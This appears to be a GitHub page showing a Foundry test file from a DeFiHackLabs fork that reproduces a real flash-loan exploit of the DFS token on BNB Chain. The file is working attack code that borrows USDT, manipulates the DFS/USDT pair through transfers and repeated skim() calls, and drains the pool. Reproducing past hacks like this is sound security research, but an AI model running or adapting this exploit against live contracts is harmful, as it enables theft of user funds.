forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 3
/
DFS_exp.sol
105 lines (82 loc) · 5.1 KB
/
DFS_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @KeyInfo - Total Lost : ~1,450 US$
// Attacker : 0xb358BfD28b02c5e925b89aD8b0Eb35913D2d0805
// Attack Contract : 0x87bfd80c2a05ee98cfe188fd2a0e4d70187db137
// Vulnerable Contract : 0x2B806e6D78D8111dd09C58943B9855910baDe005
// Attack Tx : https://bscscan.com/tx/0xcddcb447d64c2ce4b3ac5ebaa6d42e26d3ed0ff3831c08923c53ea998f598a7c
// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x2B806e6D78D8111dd09C58943B9855910baDe005#code#830
// @Analysis
// CertiKAlert : https://twitter.com/CertiKAlert/status/1608788290785665024
CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
IPancakePair constant USDT_CCDS_LP = IPancakePair(0x2B948B5D3EBe9F463B29280FC03eBcB82db1072F);
IPancakePair constant DFS_USDT_LP = IPancakePair(0x4B02D85E086809eB7AF4E791103Bc4cde83480D1);
IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
address constant usdt = 0x55d398326f99059fF775485246999027B3197955;
address constant dfs = 0x2B806e6D78D8111dd09C58943B9855910baDe005;
address constant ccds = 0xBFd48CC239bC7e7cd5AD9F9630319F9b59e0B9e1;
contract Attacker is Test{
// forge test --contracts ./src/test/DFS_exp.sol -vvvv
function setUp() public {
cheat.label(address(pancakeRouter), "pancakeRouter");
cheat.label(address(USDT_CCDS_LP), "USDT_CCDS_LP");
cheat.label(address(DFS_USDT_LP), "DFS_USDT_LP");
cheat.label(usdt, "USDT");
cheat.label(dfs, "dfs");
cheat.label(ccds, "ccds");
cheat.createSelectFork("bsc", 24349821);
}
function testExploit() public{
Exploit exploit = new Exploit();
emit log_named_decimal_uint("[start] Attacker USDT Balance", IERC20(usdt).balanceOf(address(exploit)), 18);
exploit.harvest();
emit log_named_decimal_uint("[End] Attacker USDT Balance", IERC20(usdt).balanceOf(address(exploit)), 18);
}
}
contract Exploit is Test{
uint borrowamount;
function harvest() public {
emit log_named_decimal_uint("[INFO] usdt balance : DFS_USDT_LP", IERC20(usdt).balanceOf(address(DFS_USDT_LP)), 18);
borrowamount= IERC20(usdt).balanceOf(address(DFS_USDT_LP));
USDT_CCDS_LP.swap(borrowamount, 0, address(this), "0");
emit log_named_decimal_uint("[INFO] usdt balance : this", IERC20(usdt).balanceOf(address(this)), 18);
}
function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
if(keccak256(data) != keccak256("0")) {return; }
emit log("[INFO] Flashloan received ");
emit log_named_decimal_uint("[INFO] this balance (usdt token)", IERC20(usdt).balanceOf(address(this)), 18);
emit log_named_decimal_uint("[INFO] this balance (dfs token)", IERC20(dfs).balanceOf(address(this)), 18);
IERC20(usdt).transfer(address(DFS_USDT_LP), borrowamount );
(uint reserve0beforeswap, uint reserve1beforeswap, ) = DFS_USDT_LP.getReserves();
uint256 swapamount = reserve0beforeswap * 499 /1000; // swap 0.449 lp dfs
// DFS_USDT_LP.swap(reserve0beforeswap , 0,address(this), new bytes(1));
emit log_named_decimal_uint("[INFO] swapamount ", swapamount, 18);
DFS_USDT_LP.swap(swapamount , 0,address(this), new bytes(1));
DFS_USDT_LP.sync();
emit log_named_decimal_uint("[INFO] dfs balance : address(this)", IERC20(dfs).balanceOf(address(this)), 18);
uint dfstransferamount = IERC20(dfs).balanceOf(address(this));
IERC20(dfs).transfer(address(DFS_USDT_LP),dfstransferamount * 98 /100 ); // transfer 98% dfs balance
// loop 12 times skim() function
for(uint i = 0; i < 12; i++){
DFS_USDT_LP.skim(address(DFS_USDT_LP));
}
DFS_USDT_LP.skim(address(this));
uint txamount = IERC20(dfs).balanceOf(address(this)) ;
emit log_named_decimal_uint("[INFO] dfs balance : address(this)", txamount, 18);
IERC20(dfs).transfer(address(DFS_USDT_LP), txamount * 95 / 100); //transfer 95% dfs balance
emit log_named_decimal_uint("[INFO] address(this) balance (dfs token)", IERC20(dfs).balanceOf(address(this)), 18);
emit log_named_decimal_uint("[INFO] address(this) balance (usdt token)", IERC20(usdt).balanceOf(address(this)), 18);
//todo
uint dfslpusdtamount = IERC20(usdt).balanceOf(address(DFS_USDT_LP));
emit log_named_decimal_uint("[INFO] address(DFS_USDT_LP) balance (usdt token)", dfslpusdtamount, 18);
DFS_USDT_LP.swap(0,dfslpusdtamount * 999/ 1000,address(this),new bytes(1)); // swap 99.9 lp usdt
emit log_named_decimal_uint("[INFO] payback amount usdt ", IERC20(usdt).balanceOf(address(address(this))),18);
uint256 paybackfee = borrowamount * 1005 / 1000 ; // 0.5% fee
bool suc = IERC20(usdt).transfer(address(USDT_CCDS_LP), paybackfee);
require(suc, "[INFO] Flashloan[1] payback failed ");
emit log("[INFO] Flashloan payback success ");
}
}